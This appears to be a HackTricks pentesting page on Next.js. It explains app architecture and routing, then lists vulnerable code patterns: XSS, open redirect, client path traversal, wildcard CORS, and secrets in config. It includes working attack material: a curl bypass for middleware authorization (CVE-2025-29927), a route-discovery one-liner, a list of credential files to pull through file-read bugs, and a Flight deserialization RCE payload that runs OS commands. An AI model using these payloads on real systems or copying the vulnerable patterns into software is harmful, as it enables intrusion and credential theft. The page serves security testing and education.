// HackTricks · Network Services

Next.js

Next.js

General Architecture of a Next.js Application

Typical File Structure

A Next.js project commonly follows a file and directory structure that supports routing, request handlers, and static assets. The exact layout depends on whether it uses the App Router, Pages Router, or both. The following example uses the App Router:[12]

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

Core Directories and Files

  • public/: Hosts static assets such as images, fonts, and other files. Files here are accessible at the root path (/).
  • app/: Central directory for your application’s pages, layouts, components, and API routes. Embraces the App Router paradigm, enabling advanced routing features and server-client component segregation.
  • app/layout.tsx: Defines the root layout for your application, wrapping around all pages and providing consistent UI elements like headers, footers, and navigation bars.
  • app/page.tsx: Serves as the entry point for the root route /, rendering the home page.
  • app/[route]/page.tsx: Handles static and dynamic routes. Each folder within app/ represents a route segment, and page.tsx within those folders corresponds to the route’s component.
  • app/api/: Common location for App Router Route Handlers. These are the App Router equivalent of Pages Router API Routes; their deployment runtime depends on the hosting configuration.[12]
  • app/components/: Houses reusable React components that can be utilized across different pages and layouts.
  • app/styles/: Contains global CSS files and CSS Modules for component-scoped styling.
  • app/utils/: Includes utility functions, helper modules, and other non-UI logic that can be shared across the application.
  • .env.local: Stores local environment variables. The default template ignores .env* files, but verify repository ignore rules rather than assuming the file cannot be committed.[14]
  • next.config.js: Customizes Next.js behavior, including webpack configurations, environment variables, and security settings.
  • tsconfig.json: Configures TypeScript settings for the project, enabling type checking and other TypeScript features.
  • package.json: Manages project dependencies, scripts, and metadata.
  • README.md: Provides documentation and information about the project, including setup instructions, usage guidelines, and other relevant details.
  • yarn.lock / package-lock.json: Locks the project’s dependencies to specific versions, ensuring consistent installations across different environments.

Client-Side in Next.js

File-Based Routing in the app Directory

The app directory is the cornerstone of routing in the latest Next.js versions. It leverages the filesystem to define routes, making route management intuitive and scalable.

Handling the Root Path /

File Structure:

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Key Files:

  • app/page.tsx: Handles requests to the root path /.
  • app/layout.tsx: Defines the layout for the application, wrapping around all pages.

Implementation:

// app/page.tsx

export default function HomePage() {
  return (
    <div>
      <h1>Welcome to the Home Page!</h1>
      <p>This is the root route.</p>
    </div>
  );
}

Explanation:

  • Route Definition: The page.tsx file directly under the app directory corresponds to the / route.
  • Rendering: This component renders the content for the home page.
  • Layout Integration: The HomePage component is wrapped by the layout.tsx, which can include headers, footers, and other common elements.
Handling Other Static Paths

Example: /about Route

File Structure:

my-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementation:

// app/about/page.tsx

export default function AboutPage() {
  return (
    <div>
      <h1>About Us</h1>
      <p>Learn more about our mission and values.</p>
    </div>
  )
}

Explanation:

  • Route Definition: The page.tsx file inside the about folder corresponds to the /about route.
  • Rendering: This component renders the content for the about page.
Dynamic Routes

Dynamic routes allow handling paths with variable segments, enabling applications to display content based on parameters like IDs, slugs, etc.

Example: /posts/[id] Route

File Structure:

my-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementation:

// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
  params: { id: string };
}

export default function PostPage({ params }: PostProps) {
  const { id } = params;
  // Fetch post data based on 'id'

  return (
    <div>
      <h1>Post #{id}</h1>
      <p>This is the content of post {id}.</p>
    </div>
  );
}

Explanation:

  • Dynamic Segment: [id] denotes a dynamic segment in the route, capturing the id parameter from the URL.
  • Accessing Parameters: The params object contains the dynamic parameters, accessible within the component.
  • Route Matching: Any path matching /posts/*, such as /posts/1, /posts/abc, etc., will be handled by this component.
Nested Routes

Next.js supports nested routing, allowing for hierarchical route structures that mirror the directory layout.

Example: /dashboard/settings/profile Route

File Structure:

my-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementation:

// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
  return (
    <div>
      <h1>Profile Settings</h1>
      <p>Manage your profile information here.</p>
    </div>
  );
}

Explanation:

  • Deep Nesting: The page.tsx file inside dashboard/settings/profile/ corresponds to the /dashboard/settings/profile route.
  • Hierarchy Reflection: The directory structure reflects the URL path, enhancing maintainability and clarity.
Catch-All Routes

Catch-all routes handle multiple nested segments or unknown paths, providing flexibility in route handling.

Example: /* Route

File Structure:

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementation:

// app/[...slug]/page.tsx

interface CatchAllProps {
  params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
  const { slug } = params
  const fullPath = `/${slug.join("/")}`

  return (
    <div>
      <h1>Catch-All Route</h1>
      <p>You have navigated to: {fullPath}</p>
    </div>
  )
}

Explanation:

  • Catch-All Segment: [...slug] captures all remaining path segments as an array.
  • Usage: Useful for handling dynamic routing scenarios like user-generated paths, nested categories, etc.
  • Route Matching: Paths like /anything/here, /foo/bar/baz, etc., are handled by this component.

Potential Client-Side Vulnerabilities

While Next.js provides a secure foundation, improper coding practices can introduce vulnerabilities. Key client-side vulnerabilities include:

Cross-Site Scripting (XSS)

XSS attacks occur when malicious scripts are injected into trusted websites. Attackers can execute scripts in users’ browsers, stealing data or performing actions on behalf of the user.

Example of Vulnerable Code:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
  return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

Why It’s Vulnerable: Using dangerouslySetInnerHTML with untrusted input allows attackers to inject malicious scripts.

Client-Side Template Injection

Occurs when user inputs are improperly handled in templates, allowing attackers to inject and execute templates or expressions.

Example of Vulnerable Code:

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
  const html = ejs.render(template, data)
  return <div dangerouslySetInnerHTML={{ __html: html }} />
}

Why It’s Vulnerable: If template or data includes malicious content, it can lead to execution of unintended code.

Client Path Traversal

Client-side path traversal (CSPT) occurs when attacker-controlled input is interpolated into a client-generated request path. Dot segments can redirect an otherwise legitimate, credentialed request to a different application endpoint. When that endpoint changes state, CSPT can provide a CSRF-like primitive; unlike server-side filesystem traversal, the manipulated path is an HTTP route.

Example of Vulnerable Code:

A Next.js application allows users to upload and download files. The download feature is implemented on the client side, where users can specify the file path to download.

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
  const [filePath, setFilePath] = useState("")

  const handleDownload = () => {
    fetch(`/api/files/${filePath}`)
      .then((response) => response.blob())
      .then((blob) => {
        const url = window.URL.createObjectURL(blob)
        const a = document.createElement("a")
        a.href = url
        a.download = filePath
        a.click()
      })
  }

  return (
    <div>
      <h1>Download File</h1>
      <input
        type="text"
        value={filePath}
        onChange={(e) => setFilePath(e.target.value)}
        placeholder="Enter file path"
      />
      <button onClick={handleDownload}>Download</button>
    </div>
  )
}

Attack Scenario

  1. Attacker’s Objective: Perform a CSRF attack to delete a critical file (e.g., admin/config.json) by manipulating the filePath.
  2. Exploiting CSPT:
    • Malicious Input: The attacker crafts a URL with a manipulated filePath such as ../deleteFile/config.json.
    • Resulting API Call: The client-side code makes a request to /api/files/../deleteFile/config.json.
    • Server’s Handling: If the server does not validate the filePath, it processes the request, potentially deleting or exposing sensitive files.
  3. Executing CSRF:
    • Crafted Link: The attacker sends the victim a link or embeds a malicious script that triggers the download request with the manipulated filePath.
    • Outcome: The victim unknowingly executes the action, leading to unauthorized file access or deletion.

Why It’s Vulnerable

  • Lack of Input Validation: The client-side allows arbitrary filePath inputs, enabling path traversal.
  • Trusting Client Inputs: The server-side API trusts and processes the filePath without sanitization.
  • Potential API Actions: If the API endpoint performs state-changing actions (e.g., delete, modify files), it can be exploited via CSPT.

Recon: static export route discovery via _buildManifest

When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.[5]

  • Grab the buildId from the root response (often printed at the bottom) or from <script> tags loading /_next/static/<buildId>/....
  • Fetch the manifest and extract routes:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
  • Use the discovered paths (for example /docs, /docs/content/examples, /signin) to drive auth testing and endpoint discovery.

Server-Side in Next.js

Server-Side Rendering (SSR)

With request-time server-side rendering, a page is rendered on the server for each request and returned as HTML. The built-in Next.js server supports this model; a custom server is only needed for requirements the built-in server cannot meet.

Use Cases:

  • Dynamic content that changes frequently.
  • SEO optimization, as search engines can crawl the fully rendered page.

Implementation:

// pages/index.js
export async function getServerSideProps(context) {
  const res = await fetch("https://api.example.com/data")
  const data = await res.json()
  return { props: { data } }
}

function HomePage({ data }) {
  return <div>{data.title}</div>
}

export default HomePage

Static Site Generation (SSG)

Pages are pre-rendered at build time, resulting in faster load times and reduced server load.

Use Cases:

  • Content that doesn’t change frequently.
  • Blogs, documentation, marketing pages.

Implementation:

// pages/index.js
export async function getStaticProps() {
  const res = await fetch("https://api.example.com/data")
  const data = await res.json()
  return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
  return <div>{data.title}</div>
}

export default HomePage

Serverless Functions (API Routes)

Next.js supports API endpoints through App Router Route Handlers and Pages Router API Routes. Platforms may deploy them as serverless functions, but they can also run in a persistent Node.js server.[12]

Use Cases:

  • Handling form submissions.
  • Interacting with databases.
  • Processing data or integrating with third-party APIs.

Implementation:

With the introduction of the app directory in Next.js 13, routing and API handling have become more flexible and powerful. This modern approach aligns closely with the file-based routing system but introduces enhanced capabilities, including support for server and client components.

Basic Route Handler

File Structure:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

Implementation:

// app/api/hello/route.js

export async function POST(request) {
  return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
    status: 200,
    headers: { "Content-Type": "application/json" },
  })
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ name: "John Doe" }),
})
  .then((res) => res.json())
  .then((data) => console.log(data))

Explanation:

  • Location: API routes are placed under the app/api/ directory.
  • File Naming: Each API endpoint resides in its own folder containing a route.js or route.ts file.
  • Exported Functions: Instead of a single default export, specific HTTP method functions (e.g., GET, POST) are exported.
  • Response Handling: Use the Response constructor to return responses, allowing more control over headers and status codes.

How to handle other paths and methods:

Handling Specific HTTP Methods

Next.js 13+ allows you to define handlers for specific HTTP methods within the same route.js or route.ts file, promoting clearer and more organized code.

Example:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
  const { id } = params
  // Fetch user data based on 'id'
  return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
    status: 200,
    headers: { "Content-Type": "application/json" },
  })
}

export async function PUT(request, { params }) {
  const { id } = params
  // Update user data based on 'id'
  return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
    status: 200,
    headers: { "Content-Type": "application/json" },
  })
}

export async function DELETE(request, { params }) {
  const { id } = params
  // Delete user based on 'id'
  return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
    status: 200,
    headers: { "Content-Type": "application/json" },
  })
}

Explanation:

  • Multiple Exports: Each HTTP method (GET, PUT, DELETE) has its own exported function.
  • Parameters: The second argument provides access to route parameters via params.
  • Enhanced Responses: Greater control over response objects, enabling precise header and status code management.
Catch-All and Nested Routes

Next.js 13+ supports advanced routing features like catch-all routes and nested API routes, allowing for more dynamic and scalable API structures.

Catch-All Route Example:

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
  const { slug } = params
  // Handle dynamic nested routes
  return new Response(JSON.stringify({ slug }), {
    status: 200,
    headers: { "Content-Type": "application/json" },
  })
}

Explanation:

  • Syntax: [...] denotes a catch-all segment, capturing all nested paths.
  • Usage: Useful for APIs that need to handle varying route depths or dynamic segments.

Nested Routes Example:

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
  const { postId, commentId } = params
  // Fetch specific comment for a post
  return new Response(
    JSON.stringify({ postId, commentId, comment: "Great post!" }),
    {
      status: 200,
      headers: { "Content-Type": "application/json" },
    }
  )
}

Explanation:

  • Deep Nesting: Allows for hierarchical API structures, reflecting resource relationships.
  • Parameter Access: Easily access multiple route parameters via the params object.
Handling API routes in Next.js 12 and Earlier

API Routes in the pages Directory (Next.js 12 and Earlier)

Before Next.js 13 introduced the app directory and enhanced routing capabilities, API routes were primarily defined within the pages directory. This approach is still widely used and supported in Next.js 12 and earlier versions.

Basic API Route

File Structure:

my-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

Implementation:

// pages/api/hello.js

export default function handler(req, res) {
  res.status(200).json({ message: 'Hello, World!' });
}

Explanation:

  • Location: API routes reside under the pages/api/ directory.
  • Export: Use export default to define the handler function.
  • Function Signature: The handler receives req (HTTP request) and res (HTTP response) objects.
  • Routing: The file name (hello.js) maps to the endpoint /api/hello.

Dynamic API Routes

File Structure:

my-nextjs-app/
├── pages/
   └── api/
       └── users/
           └── [id].js
├── package.json
└── ...

Implementation:

// pages/api/users/[id].js

export default function handler(req, res) {
  const {
    query: { id },
    method,
  } = req;

  switch (method) {
    case 'GET':
      // Fetch user data based on 'id'
      res.status(200).json({ userId: id, name: 'John Doe' });
      break;
    case 'PUT':
      // Update user data based on 'id'
      res.status(200).json({ message: `User ${id} updated.` });
      break;
    case 'DELETE':
      // Delete user based on 'id'
      res.status(200).json({ message: `User ${id} deleted.` });
      break;
    default:
      res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
      res.status(405).end(`Method ${method} Not Allowed`);
  }
}

Explanation:

  • Dynamic Segments: Square brackets ([id].js) denote dynamic route segments.
  • Accessing Parameters: Use req.query.id to access the dynamic parameter.
  • Handling Methods: Utilize conditional logic to handle different HTTP methods (GET, PUT, DELETE, etc.).

Handling Different HTTP Methods

While the basic API route example handles all HTTP methods within a single function, you can structure your code to handle each method explicitly for better clarity and maintainability.

Example:

// pages/api/posts.js

export default async function handler(req, res) {
  const { method } = req;

  switch (method) {
    case 'GET':
      // Handle GET request
      res.status(200).json({ message: 'Fetching posts.' });
      break;
    case 'POST':
      // Handle POST request
      res.status(201).json({ message: 'Post created.' });
      break;
    default:
      res.setHeader('Allow', ['GET', 'POST']);
      res.status(405).end(`Method ${method} Not Allowed`);
  }
}

Best Practices:

  • Separation of Concerns: Clearly separate logic for different HTTP methods.
  • Response Consistency: Ensure consistent response structures for ease of client-side handling.
  • Error Handling: Gracefully handle unsupported methods and unexpected errors.

CORS Configuration

Control which origins can access your API routes, mitigating Cross-Origin Resource Sharing (CORS) vulnerabilities.

Bad Configuration Example:

// app/api/data/route.js

export async function GET(request) {
  return new Response(JSON.stringify({ data: "Public Data" }), {
    status: 200,
    headers: {
      "Access-Control-Allow-Origin": "*", // Allows any origin
      "Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
    },
  })
}

CORS headers can also be applied centrally to matching API routes in middleware.ts:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
  const allowedOrigins = [
    "https://yourdomain.com",
    "https://sub.yourdomain.com",
  ]
  const origin = request.headers.get("Origin")

  const response = NextResponse.next()

  if (allowedOrigins.includes(origin || "")) {
    response.headers.set("Access-Control-Allow-Origin", origin || "")
    response.headers.set(
      "Access-Control-Allow-Methods",
      "GET, POST, PUT, DELETE, OPTIONS"
    )
    response.headers.set(
      "Access-Control-Allow-Headers",
      "Content-Type, Authorization"
    )
    // If credentials are needed:
    // response.headers.set('Access-Control-Allow-Credentials', 'true');
  }

  // Handle preflight requests
  if (request.method === "OPTIONS") {
    return new Response(null, {
      status: 204,
      headers: response.headers,
    })
  }

  return response
}

export const config = {
  matcher: "/api/:path*", // Apply to all API routes
}

Problem:

  • Access-Control-Allow-Origin: '*': Lets any origin read non-credentialed responses. This is appropriate for intentionally public data but dangerous when the response was expected to be origin-restricted.
  • Wide method allowance: Advertising methods that the application does not need expands the cross-origin interface. Actual impact still depends on preflight behavior, credential policy, and server-side authorization.

How attackers exploit it:

Attackers can craft websites that make cross-origin requests to the API. Whether they can read data or act with a victim’s credentials depends on the complete CORS policy, cookie attributes, and endpoint authorization.

Cors Bypass

Server code exposure in Client Side

Modules can accidentally be shared between server and client components. Mark a module as server-only so that importing it into a client component produces a build-time error:[13]

import "server-only"

Key Files and Their Roles

middleware.ts / middleware.js

Location: Root of the project or within src/.

Purpose: Executes code in the server-side serverless function before a request is processed, allowing for tasks like authentication, redirects, or modifying responses.

Execution Flow:

  1. Incoming Request: The middleware intercepts the request.
  2. Processing: Performs operations based on the request (e.g., check authentication).
  3. Response Modification: Can alter the response or pass control to the next handler.

Example Use Cases:

  • Redirecting unauthenticated users.
  • Adding custom headers.
  • Logging requests.

Sample Configuration:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
  const url = req.nextUrl.clone()
  if (!req.cookies.has("token")) {
    url.pathname = "/login"
    return NextResponse.redirect(url)
  }
  return NextResponse.next()
}

export const config = {
  matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

If authorization is enforced in middleware, affected Next.js releases (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) can be bypassed by injecting the x-middleware-subrequest header. The framework will skip middleware recursion and return the protected page.[5]

  • Baseline behavior is typically a 307 redirect to a login route like /api/auth/signin.
  • Send a long x-middleware-subrequest value (repeat middleware to hit MAX_RECURSION_DEPTH) to flip the response to 200:
curl -i "http://target/docs" \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
  • Because authenticated pages pull many subresources, add the header to every request (e.g., Burp Match/Replace with an empty match string) to keep assets from redirecting.

next.config.js

Location: Root of the project.

Purpose: Configures Next.js behavior, enabling or disabling features, customizing webpack configurations, setting environment variables, and configuring several security features.

Key Security Configurations:

Security Headers

Security headers enhance the security of your application by instructing browsers on how to handle content. They help mitigate various attacks like Cross-Site Scripting (XSS), Clickjacking, and MIME type sniffing:

  • Content Security Policy (CSP)
  • X-Frame-Options
  • X-Content-Type-Options
  • Strict-Transport-Security (HSTS)
  • Referrer Policy

Examples:

// next.config.js

module.exports = {
  async headers() {
    return [
      {
        source: "/(.*)", // Apply to all routes
        headers: [
          {
            key: "X-Frame-Options",
            value: "DENY",
          },
          {
            key: "Content-Security-Policy",
            value:
              "default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
          },
          {
            key: "X-Content-Type-Options",
            value: "nosniff",
          },
          {
            key: "Strict-Transport-Security",
            value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
          },
          {
            key: "Referrer-Policy",
            value: "no-referrer", // Completely hides referrer
          },
          // Additional headers...
        ],
      },
    ]
  },
}
Image Optimization Settings

Next.js optimizes remote images, but overly broad source patterns can let attackers make the optimizer fetch URLs you did not intend. Prefer narrowly scoped remotePatterns.[15]

Bad Configuration Example:

// next.config.js

module.exports = {
  images: {
    remotePatterns: [{ hostname: "**" }], // Overly broad: any hostname/protocol/path
  },
}

Problem:

  • hostname: "**" with omitted restrictions: permits optimization from arbitrary external sources instead of constraining the protocol, host, path, and query string.
  • A similarly risky pattern allows a domain where any user can upload content (for example, raw.githubusercontent.com) without restricting the pathname.

How attackers abuse it:

Depending on how the application accepts image URLs, attackers may consume optimizer bandwidth, make the server fetch unintended resources, or display misleading content. Treat the optimizer as a server-side fetch surface and test the exact allowed patterns.

Environment Variables Exposure

Manage sensitive information like API keys and database credentials securely without exposing them to the client.

a. Exposing Sensitive Variables

Bad Configuration Example:

// next.config.js

module.exports = {
  env: {
    SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed: next.config.js env values enter the JS bundle
    NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL,
  },
}

Problem:

  • SECRET_API_KEY: Values declared under the env key in next.config.js are always included in the JavaScript bundle, regardless of their name. For variables loaded normally from the process or .env files, NEXT_PUBLIC_ is what opts a value into browser bundling.[14]

How attackers abuse it:

If sensitive variables are exposed to the client, attackers can retrieve them by inspecting the client-side code or network requests, gaining unauthorized access to APIs, databases, or other services.

Redirects

Manage URL redirections and rewrites within your application, ensuring that users are directed appropriately without introducing open redirect vulnerabilities.

a. Open Redirect Vulnerability

Bad Configuration Example:

// app/redirect/route.js
import { NextResponse } from "next/server"

export function GET(request) {
  const destination = request.nextUrl.searchParams.get("url")
  return NextResponse.redirect(destination) // Vulnerable: no destination allowlist
}

Problem:

  • Dynamic Destination: Allows users to specify any URL, enabling open redirect attacks.
  • Trusting User Input: Redirects to URLs provided by users without validation can lead to phishing, malware distribution, or credential theft.

How attackers abuse it:

Attackers can craft URLs that appear to originate from your domain but redirect users to malicious sites. For example:

https://yourdomain.com/redirect?url=https://malicious-site.com

Users trusting the original domain might unknowingly navigate to harmful websites.

Webpack Configuration

Customize Webpack configurations for your Next.js application, which can inadvertently introduce security vulnerabilities if not handled cautiously.

a. Exposing Sensitive Modules

Bad Configuration Example:

// next.config.js

module.exports = {
  webpack: (config, { isServer }) => {
    if (!isServer) {
      config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
    }
    return config
  },
}

Problem:

  • Exposing Sensitive Paths: Aliasing sensitive directories and allowing client-side access can leak confidential information.
  • Bundling Secrets: If sensitive files are bundled for the client, their contents become accessible through source maps or inspecting the client-side code.

How attackers abuse it:

Attackers can access or reconstruct the application’s directory structure, potentially finding and exploiting sensitive files or data.

pages/_app.js and pages/_document.js

pages/_app.js

Purpose: Overrides the default App component, allowing for global state, styles, and layout components.

Use Cases:

  • Injecting global CSS.
  • Adding layout wrappers.
  • Integrating state management libraries.

Example:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
  return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

Purpose: Overrides the default Document, enabling customization of the HTML and Body tags.

Use Cases:

  • Modifying the <html> or <body> tags.
  • Adding meta tags or custom scripts.
  • Integrating third-party fonts.

Example:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
  render() {
    return (
      <Html lang="en">
        <Head>{/* Custom fonts or meta tags */}</Head>
        <body>
          <Main />
          <NextScript />
        </body>
      </Html>
    )
  }
}

export default MyDocument

Custom Server (Optional)

Purpose: While Next.js comes with a built-in server, you can create a custom server for advanced use cases like custom routing or integrating with existing backend services.

Note: Using a custom server can limit deployment options, especially on platforms like Vercel that optimize for Next.js’s built-in server.

Example:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
  const server = express()

  // Custom route
  server.get("/a", (req, res) => {
    return app.render(req, res, "/a")
  })

  // Default handler
  server.all("*", (req, res) => {
    return handle(req, res)
  })

  server.listen(3000, (err) => {
    if (err) throw err
    console.log("> Ready on http://localhost:3000")
  })
})

Additional Architectural and Security Considerations

Environment Variables and Configuration

Purpose: Manage sensitive information and configuration settings outside the codebase.

Best Practices:

  • Use .env Files: Store variables like API keys in .env.local (excluded from version control).
  • Access Variables Securely: Use process.env.VARIABLE_NAME to access environment variables.
  • Never Expose Secrets on the Client: Ensure that sensitive variables are only used server-side.

Example:

// Server-only module: lib/data.js
import "server-only"

export function getApiKey() {
  return process.env.API_KEY
}

Note: Keep secrets out of the env object in next.config.js, do not give them a NEXT_PUBLIC_ prefix, and access them only from server code. The server-only marker helps prevent accidental client imports.[13][14]

Useful server artifacts to target via LFI/download endpoints

If you find a path traversal or download API in a Next.js app, target compiled artifacts that leak server-side secrets and auth logic:[5]

  • .env / .env.local for session secrets and provider credentials.
  • .next/routes-manifest.json and .next/build-manifest.json for a complete route list.
  • .next/server/pages/api/auth/[...nextauth].js to recover the compiled NextAuth configuration (often contains fallback passwords when process.env values are unset).
  • next.config.js / next.config.mjs to review rewrites, redirects and middleware routing.

Authentication and Authorization

Approach:

  • Session-Based Authentication: Use cookies to manage user sessions.
  • Token-Based Authentication: Implement JWTs for stateless authentication.
  • Third-Party Providers: Integrate with OAuth providers (e.g., Google, GitHub) using libraries like next-auth.

Security Practices:

  • Secure Cookies: Set HttpOnly, Secure, and SameSite attributes.
  • Password Hashing: Always hash passwords before storing them.
  • Input Validation: Prevent injection attacks by validating and sanitizing inputs.

Example:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
  const { username, password } = req.body

  // Validate user credentials
  if (username === "admin" && password === "password") {
    const token = sign({ username }, process.env.JWT_SECRET, {
      expiresIn: "1h",
    })
    res.setHeader(
      "Set-Cookie",
      serialize("auth", token, {
        path: "/",
        httpOnly: true,
        secure: true,
        sameSite: "strict",
      })
    )
    res.status(200).json({ message: "Logged in" })
  } else {
    res.status(401).json({ error: "Invalid credentials" })
  }
}

Performance Optimization

Strategies:

  • Image Optimization: Use Next.js’s next/image component for automatic image optimization.
  • Code Splitting: Leverage dynamic imports to split code and reduce initial load times.
  • Caching: Implement caching strategies for API responses and static assets.
  • Lazy Loading: Load components or assets only when they are needed.

Example:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
  loading: () => <p>Loading...</p>,
})

Next.js Server Actions Enumeration (hash to function name via source maps)

Modern Next.js uses “Server Actions” that execute on the server but are invoked from the client. In production these invocations are opaque: all POSTs land on a common endpoint and are distinguished by a build-specific hash sent in the Next-Action header. Example:

POST /
Next-Action: a9f8e2b4c7d1...

When productionBrowserSourceMaps is enabled, minified JS chunks contain calls to createServerReference(...) that leak enough structure (plus associated source maps) to recover a mapping between the action hash and the original function name. This lets you translate hashes observed in Next-Action into concrete targets like deleteUserAccount() or exportFinancialData().[1]

Extraction approach (regex on minified JS + optional source maps)

Search downloaded JS chunks for createServerReference and extract the hash and the function/source symbol. Two useful patterns:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
  • Group 1: server action hash (40+ hex chars)
  • Group 2: symbol or path that can be resolved to the original function via the source map when present

If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.

Practical workflow

  • Passive discovery while browsing: capture requests with Next-Action headers and JS chunk URLs.
  • Fetch the referenced JS bundles and accompanying *.map files (when present).
  • Run the regex above to build a hash↔name dictionary.
  • Use the dictionary to target testing:
    • Name-driven triage (e.g., transferFunds, exportFinancialData).
    • Track coverage across builds by function name (hashes rotate across builds).

Exercising hidden actions (template-based request)

Take a valid POST observed in-proxy as a template and swap the Next-Action value to target another discovered action:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Replay in Repeater and test authorization, input validation and business logic of otherwise unreachable actions.

Burp automation

  • NextjsServerActionAnalyzer (Burp extension) automates the above in Burp:[2]
    • Mines proxy history for JS chunks, extracts createServerReference(...) entries, and parses source maps when available.
    • Maintains a searchable hash↔function-name dictionary and de-duplicates across builds by function name.
    • Can locate a valid template POST and open a ready-to-send Repeater tab with the target action’s hash swapped in.
  • Repo: https://github.com/Adversis/NextjsServerActionAnalyzer[2]

Notes and limitations

  • Requires productionBrowserSourceMaps enabled in production to recover names from bundles/source maps.
  • Function-name disclosure is not a vulnerability by itself; use it to guide discovery and test each action’s authorization.

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Next.js App Router deployments that expose Server Actions on react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) contain a critical server-side prototype pollution during Flight chunk deserialization. By crafting $ references inside a Flight payload an attacker can pivot from polluted prototypes to arbitrary JavaScript execution and then to OS command execution inside the Node.js process.[3]

Readme

Attack chain in Flight chunks

  1. Prototype pollution primitive: Set "then": "$1:__proto__:then" so that the resolver writes a then function on Object.prototype. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals.
  2. Rebinding to the global Function constructor: Point _response._formData.get at "$1:constructor:constructor". During resolution, object.constructorObject, and Object.constructorFunction, so future calls to _formData.get() actually execute Function(...).
  3. Code execution via _prefix: Place JavaScript source in _response._prefix. When the polluted _formData.get is invoked, the framework evaluates Function(_prefix)(...), so the injected JS can run require('child_process').exec() or any other Node primitive.

Payload skeleton

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "require('child_process').exec('id')",
    "_chunks": "$Q2",
    "_formData": { "get": "$1:constructor:constructor" }
  }
}

Mapping React Server Function exposure

